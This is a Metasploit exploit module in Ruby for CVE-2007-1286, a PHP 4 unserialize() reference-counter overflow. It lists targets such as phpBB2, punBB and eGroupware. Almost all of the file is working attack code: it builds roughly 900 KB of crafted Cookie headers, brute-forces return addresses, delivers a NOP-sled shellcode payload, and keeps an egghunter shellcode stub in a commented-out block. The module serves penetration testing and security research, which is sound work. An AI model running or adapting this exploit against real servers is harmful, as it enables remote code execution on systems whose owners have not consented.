Path: blob/master/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Brute1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',17'Description' => %q{18This module exploits an integer overflow vulnerability in the unserialize()19function of the PHP web server extension. This vulnerability was patched by20Stefan in version 4.5.0 and applies all previous versions supporting this function.21This particular module targets numerous web applications and is based on the proof22of concept provided by Stefan Esser. This vulnerability requires approximately 900k23of data to trigger due the multiple Cookie headers requirement. Since we24are already assuming a fast network connection, we use a 2Mb block of shellcode for25the brute force, allowing quick exploitation for those with fast networks.2627One of the neat things about this vulnerability is that on x86 systems, the EDI register points28into the beginning of the hashtable string. This can be used with an egghunter to29quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction30is known. The EDI method is faster, but the bandwidth-intensive brute force used by this31module is more reliable across a wider range of systems.32},33'Author' => [34'hdm', # module development35'GML <grandmasterlogic[at]gmail.com>', # module development and debugging36'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited37],38'License' => MSF_LICENSE,39'References' => [40['CVE', '2007-1286'],41['OSVDB', '32771'],42['URL', 'http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html'],43],44'Privileged' => false,45'Payload' => {46'Space' => 1024,47},48'Platform' => %w{linux},49'Targets' => [5051#52# 64-bit SuSE: 0x005c000053# Backtrack 2.0: 0xb797a00054# Gentoo: 0xb690000055#56[57'Linux x86 Generic',58{59'Platform' => 'linux',60'Arch' => [ ARCH_X86 ],61'Bruteforce' =>62{63'Start' => { 'Ret' => 0xb6000400 },64'Stop' => { 'Ret' => 0xbfff0000 },65'Step' => 1024 * 102466}67}68],69[70'Linux x86 phpBB2',71{72'DefaultCookie' => 'phpbb2mysql_data',73'DefaultURI' => '/phpBB2/faq.php',74'Signature' => /Powered\s+by.*phpBB/,75'Platform' => 'linux',76'Arch' => [ ARCH_X86 ],77'Bruteforce' =>78{79'Start' => { 'Ret' => 0xb6000400 },80'Stop' => { 'Ret' => 0xbfff0000 },81'Step' => 1024 * 102482}83}84],85[86'Linux x86 punBB',87{88'DefaultCookie' => 'punbb_cookie',89'DefaultURI' => '/index.php',90'Signature' => /Powered\s+by.*PunBB/,91'Platform' => 'linux',92'Arch' => [ ARCH_X86 ],93'Bruteforce' =>94{95'Start' => { 'Ret' => 0xb6000400 },96'Stop' => { 'Ret' => 0xbfff0000 },97'Step' => 1024 * 102498}99}100],101[102'Linux x86 WWWThreads',103{104'DefaultCookie' => 'forum_cookie',105'DefaultURI' => '/index.php',106'Signature' => /Powered\s+by.*WWWThreads/,107'Platform' => 'linux',108'Arch' => [ ARCH_X86 ],109'Bruteforce' =>110{111'Start' => { 'Ret' => 0xb6000400 },112'Stop' => { 'Ret' => 0xbfff0000 },113'Step' => 1024 * 1024114}115}116],117[118'Linux x86 Deadman Redirect',119{120'DefaultCookie' => 'authcookie',121'DefaultURI' => '/dmr/dmr.php',122'Signature' => /document\.f\.userdata\.focus/,123'Platform' => 'linux',124'Arch' => [ ARCH_X86 ],125'Bruteforce' =>126{127'Start' => { 'Ret' => 0xb6000400 },128'Stop' => { 'Ret' => 0xbfff0000 },129'Step' => 1024 * 1024130}131}132],133[134'Linux x86 PhpWebGallery',135{136'DefaultCookie' => 'pwg_remember',137'DefaultURI' => '/phpwebgallery/index.php',138'Signature' => /Powered\s+by.*phpwebgallery/msi,139'Platform' => 'linux',140'Arch' => [ ARCH_X86 ],141'Bruteforce' =>142{143'Start' => { 'Ret' => 0xb6000400 },144'Stop' => { 'Ret' => 0xbfff0000 },145'Step' => 1024 * 1024146}147}148],149[150'Linux x86 Ariadne-CMS',151{152'DefaultCookie' => 'ARCookie',153'DefaultURI' => '/ariadne/loader.php/',154'Signature' => /Ariadne is free software/,155'Platform' => 'linux',156'Arch' => [ ARCH_X86 ],157'Bruteforce' =>158{159'Start' => { 'Ret' => 0xb6000400 },160'Stop' => { 'Ret' => 0xbfff0000 },161'Step' => 1024 * 1024162}163}164],165[166'Linux x86 ProMA',167{168'DefaultCookie' => 'proma',169'DefaultURI' => '/proma/index.php',170'Signature' => /Change Account Information/,171'Platform' => 'linux',172'Arch' => [ ARCH_X86 ],173'Bruteforce' =>174{175'Start' => { 'Ret' => 0xb6000400 },176'Stop' => { 'Ret' => 0xbfff0000 },177'Step' => 1024 * 1024178}179}180],181[182'Linux x86 eGroupware',183{184'DefaultCookie' => 'eGW_remember',185'DefaultURI' => '/egroupware/login.php',186'Signature' => /www.egroupware.org/,187'Platform' => 'linux',188'Arch' => [ ARCH_X86 ],189'Bruteforce' =>190{191'Start' => { 'Ret' => 0xb6000400 },192'Stop' => { 'Ret' => 0xbfff0000 },193'Step' => 1024 * 1024194}195}196]197],198'DisclosureDate' => '2007-03-04',199'Notes' => {200'Reliability' => UNKNOWN_RELIABILITY,201'Stability' => UNKNOWN_STABILITY,202'SideEffects' => UNKNOWN_SIDE_EFFECTS203}204)205)206207register_options(208[209OptString.new('URI', [false, "The path to vulnerable PHP script"]),210OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])211]212)213end214215def check216vprint_status("Checking for a vulnerable PHP version...")217218#219# Pick the URI and Cookie name220#221cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']222uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']223224if (not cookie_name)225fail_with(Failure::Unknown, "The COOKIENAME option must be set")226end227228if (not uri_path)229fail_with(Failure::Unknown, "The URI option must be set")230end231232res = send_request_cgi({233'uri' => uri_path,234'method' => 'GET'235}, 5)236237php_bug = false238239if (not res)240vprint_status("No response from the server")241return Exploit::CheckCode::Unknown # User should try again242end243244http_fingerprint({ :response => res }) # check method245246if (res.code != 200)247vprint_status("The server returned #{res.code} #{res.message}")248return Exploit::CheckCode::Safe249end250251if (252(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or253(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)254)255256php_raw = $1257php_ver = php_raw.split('.')258259if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)260vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")261php_bug = true262else263vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")264return Exploit::CheckCode::Safe265end266end267268# Detect the phpBB cookie name269if res.get_cookies =~ /(.*)_(sid|data)=/270vprint_status("The server may require a cookie name of '#{$1}_data'")271end272273if (target and target['Signature'])274if (res.body and res.body.match(target['Signature']))275vprint_status("Detected target #{target.name}")276else277vprint_status("Did not detect target #{target.name}")278end279280end281282return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected283end284285def brute_exploit(target_addrs)286zvalref = encode_semis('i:0;R:2;')287288#289# Use this if we decide to do 'jmp edi' returns vs brute force290#291=begin292# Linux specific egg-hunter293tagger = "\x90\x50\x90\x50"294hunter =295"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +296"\x3c\xf2\x74\xf1\xb8" +297tagger +298"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"299300egghunter = "\xcc" * 39301egghunter[0, hunter.length] = hunter302303hashtable = "\xcc" * 39304hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes305306hashtable[20, 4] = [target_addrs['Ret']].pack('V')307hashtable[32, 4] = [target_addrs['Ret']].pack('V')308=end309310#311# Just brute-force addresses for now312#313tagger = ''314egghunter = rand_text_alphanumeric(39)315hashtable = rand_text_alphanumeric(39)316hashtable[20, 4] = [target_addrs['Ret']].pack('V')317hashtable[32, 4] = [target_addrs['Ret']].pack('V')318319#320# Pick the URI and Cookie name321#322cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']323uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']324325if (not cookie_name)326fail_with(Failure::Unknown, "The COOKIENAME option must be set")327end328329if (not uri_path)330fail_with(Failure::Unknown, "The URI option must be set")331end332333# Generate and reuse the original buffer to save CPU334if (not @saved_cookies)335336# Building the malicious request337print_status("Creating the request...")338339# Create the first cookie header to get this started340cookie_fun = "Cookie: #{cookie_name}="341cookie_fun << Rex::Text.uri_encode(342'a:100000:{s:8:"' +343rand_text_alphanumeric(8) +344'";a:3:{s:12:"' +345rand_text_alphanumeric(12) +346'";a:1:{s:12:"' +347rand_text_alphanumeric(12) +348'";i:0;}s:12:"' +349rand_text_alphanumeric(12) +350'";' +351'i:0;s:12:"' +352rand_text_alphanumeric(12) +353'";i:0;}'354)355cookie_fun << zvalref * 500356cookie_fun << Rex::Text.uri_encode('s:2:"')357cookie_fun << "\r\n"358359refcnt = 1000360refmax = 65535361362# Keep adding cookie headers...363while (refcnt < refmax)364365chead = 'Cookie: ';366chead << encode_semis('";N;')367368# Stay within the 8192 byte limit3690.upto(679) do |i|370break if refcnt >= refmax371372refcnt += 1373374chead << zvalref375end376chead << encode_semis('s:2:"')377cookie_fun << chead + "\r\n"378end379380# The final header, including the hashtable with return address381cookie_fun << "Cookie: "382cookie_fun << Rex::Text.uri_encode('";N;')383cookie_fun << zvalref * 500384385@saved_cookies = cookie_fun386end387388# Generate and reuse the payload to save CPU time389if (not @saved_payload)390@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)391end392393cookie_addrs = Rex::Text.uri_encode(394's:39:"' + egghunter + '";s:39:"' + hashtable + '";i:0;R:3;'395) + "\r\n"396397print_status("Trying address 0x%.8x..." % target_addrs['Ret'])398res = send_request_cgi({399'uri' => uri_path,400'method' => 'POST',401'raw_headers' => @saved_cookies + cookie_addrs,402'data' => @saved_payload403}, 1)404405if res406failed = false407408print_status("Received a response: #{res.code} #{res.message}")409410if (res.code != 200)411print_error("The server returned a non-200 response, indicating that the exploit failed")412failed = true413end414415if (not failed and (res.body and res.body.length > 0))416print_error("The server returned a real response, indicating that the exploit failed")417failed = true418end419420if (failed)421print_status("Please verify the URI and COOKIENAME parameters.")422print_line('')423print_line("*" * 40)424print_line(res.body)425print_line("*" * 40)426print_line('')427428fail_with(Failure::Unknown, "Exploit settings are probably wrong")429end430else431print_status("No response from the server")432end433end434435def encode_semis(str)436str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }437end438end439440441